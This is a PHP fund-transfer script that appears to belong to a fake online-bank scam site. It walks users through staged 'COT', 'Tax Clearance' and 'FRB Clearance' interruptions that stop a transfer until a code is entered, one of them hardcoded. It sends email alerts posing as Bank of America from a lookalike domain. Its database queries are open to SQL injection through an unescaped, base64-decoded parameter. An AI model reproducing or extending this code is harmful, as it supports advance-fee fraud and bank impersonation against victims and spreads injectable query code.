<?php
if(isset($_POST['submit'])) {
	$bname=addslashes($_POST['bname']);
	$bcountry=addslashes($_POST['bcountry']);
	$accnum=addslashes($_POST['accnum']);
	$accname=addslashes($_POST['accname']);
	$ownadd=addslashes($_POST['ownadd']);
	$routnum=addslashes($_POST['routnum']);
	$sort=addslashes($_POST['sort']);
	$amount=addslashes($_POST['amount']);
	
	$error_msg="";
	
	if(strlen($bname) == 0) {
		$error_msg.="<li>Please enter receiving bank's name";
	}
	if(strlen($bcountry) == 0) {
		$error_msg.="<li>Please enter receiving bank's country";
	}
	if(strlen($accnum) == 0) {
		$error_msg.="<li>Please enter receiving account number</li>";
	}
	if(strlen($accname) == 0) {
		$error_msg.="<li>Please enter receiving account name</li>";
	}
	if(strlen($sort) == 0) {
		$error_msg.="<li>Please enter sort code</li>";
	}
	if(strlen($amount) == 0) {
		$error_msg.="<li>Please enter amount to be transferred</li>";
	}
	elseif(!is_numeric($amount)) {
		$error_msg.="<li>Amount must be digits only. No symbols allowed.</li>";
	}
	elseif($amount < 1000) {
		$error_msg.="<li>Minimum transferable amount is ".$curr_user['currency']." 1,000</li>";
	}
	elseif($amount > $curr_user['balance2']) {
		$error_msg.="<li>Maximum transferable amount is ".$curr_user['currency']." ".number_format($curr_user['balance2'],2)."</li>";
	}
	
	if($error_msg != "") {
		$error_msg="<b>Please correct the following errors:</b>".$error_msg;
	}
	elseif($curr_user['status'] != "Active") {
		$error_msg="Sorry, your account is restricted from performing this operation";
	}
	else {
		$tid=rand(100000,999999);
		mysqli_query($connectionString,"INSERT INTO `history` (`id` ,`tid` ,`number` ,`date` ,`bname` ,`bcountry` ,`accnum` ,`accname` ,`ownadd` ,`routnum` ,`sort` ,`amount` ,`type` ,`details` ,`status`, `stat`)VALUES (NULL , '$tid', '$accid', NOW( ) , '$bname', '$bcountry', '$accnum', '$accname', '$ownadd', '$routnum', '$sort', '$amount', 'Fund Transfer', 'Wire Transfer to $accname, $bname, $bcountry(account number $accnum)', 'Pending Authorization', 'Unverified')");
		redirect("?r=transfer&sid=".base64_encode($tid));
	}
}
$rendered_page='transfer.html';

if(isset($_GET['sid'])) {
	$tid=base64_decode($_GET['sid']);
	$trans=mysqli_fetch_array(mysqli_query($connectionString,"SELECT * FROM history WHERE tid='$tid' LIMIT 1"),MYSQLI_ASSOC);
}

if(isset($_GET['sid']) && $trans['stat'] == "Unverified") {
	$rendered_page='transfer2.html';
	if(isset($_POST['pin_submit'])) {
		$pin=addslashes($_POST['pin']);
		if(strlen($pin) == 0) {
			$error_msg="Please enter your account PIN to continue";
		}
		elseif(strlen($pin) < 5) {
			$error_msg="Account PIN must be five digits";
		}
		elseif(!is_numeric($pin)) {
			$error_msg="Account PIN must be digits only";
		}
		elseif(strcmp($pin,$curr_user['pin']) != 0) {
			$error_msg="Invalid account PIN. If you feel this is an error, please call <b>$phone1</b>";
		}
		else {
			mysqli_query($connectionString,"UPDATE history SET stat='Unconfirmed' WHERE tid='$tid' LIMIT 1");
			redirect("?r=transfer&sid=".base64_encode($tid));
		}
	}
}

if(isset($_GET['sid']) && $trans['stat'] == "Unconfirmed") {
	if(isset($_POST['proceed'])) {
		mysqli_query($connectionString,"UPDATE history SET stat='Progress_COT' WHERE tid='$tid' LIMIT 1");
		redirect("?r=transfer&sid=".base64_encode($tid));
	}
	$rendered_page='verify_transfer.html';
}
if(isset($_GET['sid']) && ($trans['stat'] == "Progress_COT" || $trans['stat'] == "Progress_TAX" || $trans['stat'] == "Progress_FSA" || $trans['stat'] == "Progress_209")) {
	$rendered_page='progress.html';
}
if(isset($_GET['sid']) && (($trans['stat'] == "Progress_COT" && isset($_GET['done'])) || $trans['stat'] == "COT_Page")) {
	mysqli_query($connectionString,"UPDATE history SET stat='COT_Page', status='Interrupted for COT Verification' WHERE tid='$tid' LIMIT 1");
	$rendered_page='cot.html';
}

if(isset($_POST['cot'])) {
	include('get_cot.php');
}

if(isset($_GET['sid']) && (($trans['stat'] == "Progress_TAX" && isset($_GET['done'])) || $trans['stat'] == "TAX_Page")) {
	if($curr_user['tax_status'] != 1) {
		mysqli_query($connectionString,"UPDATE history SET stat='TAX_Page', status='Interrupted for Tax Clearance' WHERE tid='$tid' LIMIT 1");
		$rendered_page='tax.html';
	}
	else {
		mysqli_query($connectionString,"UPDATE history SET stat='Progress_FSA' WHERE tid='$tid' LIMIT 1");
		redirect("?r=transfer&sid=".base64_encode($tid));
	}
}
if(isset($_GET['sid']) && (($trans['stat'] == "Progress_FSA" && isset($_GET['done'])) || $trans['stat'] == "FSA_Page")) {
	mysqli_query($connectionString,"UPDATE history SET stat='FSA_Page', status='Interrupted for FRB Clearance' WHERE tid='$tid' LIMIT 1");
	if(isset($_POST['fsa'])) {
		$fsa=addslashes($_POST['fsa']);
		if(strlen($fsa) == 0) {
			$error_msg="Please enter FRB Code to proceed with transfer";
		}
		elseif(!is_numeric($fsa)) {
			$error_msg="FRB Code must be digits only";
		}
		elseif($fsa != "4493231") {
			$error_msg="FRB Code is invalid. If you feel this is an error, please call <b>$phone1</b>";
		}
		else {
			mysqli_query($connectionString,"UPDATE history SET stat='Progress_209' WHERE tid='$tid' LIMIT 1");
			redirect("?r=transfer&sid=".base64_encode($tid));
		}
	}
	$rendered_page='fsa.html';
}
if(isset($_GET['sid']) && (($trans['stat'] == "Progress_209" && isset($_GET['done'])) || $trans['stat'] == "Done")) {
	mysqli_query($connectionString,"UPDATE history SET stat='Done', status='Successful' WHERE tid='$tid' LIMIT 1");
	$bal=$curr_user['balance'] - $trans['amount'];
	$bal2=$curr_user['balance2'] - $trans['amount'];
	mysqli_query($connectionString,"UPDATE users SET balance='$bal', balance2='$bal2' WHERE number='$accid' LIMIT 1");

        
		$user=mysqli_fetch_array(mysqli_query($connectionString,"SELECT * FROM users WHERE number='$accid' LIMIT 1"),MYSQLI_ASSOC);

        $recipient=$user['email'];
		$mob_tel=$user['phone'];
		$first_name=$user['firstname'];
		$last_name=$user['lastname'];
        $accountbalance= "$bal";
        $availablebal= "$bal2";
        date_default_timezone_set("Europe/Gateshead");
        $bankname=$trans['bname'];
	    $bankcountry=$trans['bcountry'];
	    $receiveraccnum=$trans['accnum'];
	    $receiveraccname=$trans['accname'];
	    $banksort=$trans['sort'];
	    $sendingamount=$trans['amount'];
        $time = date("h:i:sa");

                $date = date('d/m/Y');
                $senderName = "Bank of America";

$fromEmailAddress = "no-reply-accountdept@boacorporationoffshore.com";

$emailSubject = "Funds Transfer Alert";

$comments = "\n Hello $first_name $last_name \n \n A funds transfer has just occurred in your online account. If this transfer wasn't carried out by you, please report immediately to info@boacorporationoffshore.com or call 0 253 453 6646 from within the Country and +1 253 453 6646 from outside the Country. \n\n TRANSFER DETAILS \n \n BANK NAME: $bankname \n ACCOUNT NAME | NUMBER: $receiveraccname | $receiveraccnum \n BANK ADDRESS: $bankcountry \n BANK SORT CODE: $banksort \n \n AMOUNT: $sendingamount \n NEW BALANCE: $accountbalance \n AVAILABLE BALANCE: $availablebal \n \n TRANSFER DATE: $date \n TRANSFER TIME: $time \n \n \n \n Account Support Team \n For Bank of America.";

             

$mobilesender = "Acc Notify";

$message = "e-Banking ACCOUNT DEBIT
Acct: ***".substr($curr_user['number'],-6,6)."
Amount: $sendingamount
TO: $bankname | $receiveraccnum
Remarks: Wire Transfer
Bal: $availablebal
Date: $date | $time";

$loginuser="xxxxx";

$loginpass="xxxxx";


mail($recipient, $emailSubject, $comments, "From: $senderName <$fromEmailAddress>\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Transfer-Encoding: 8bit");

$url = "http://ediarosms.com/sms/api_v1?sub_account=$loginuser&sub_account_pass=$loginpass&action=send_sms&sender_id=".urlencode($mobilesender)."&message=".urlencode($message)."&recipients=".urlencode($mob_tel)."";

file_get_contents($url);








	$rendered_page='209.html';


}
?>
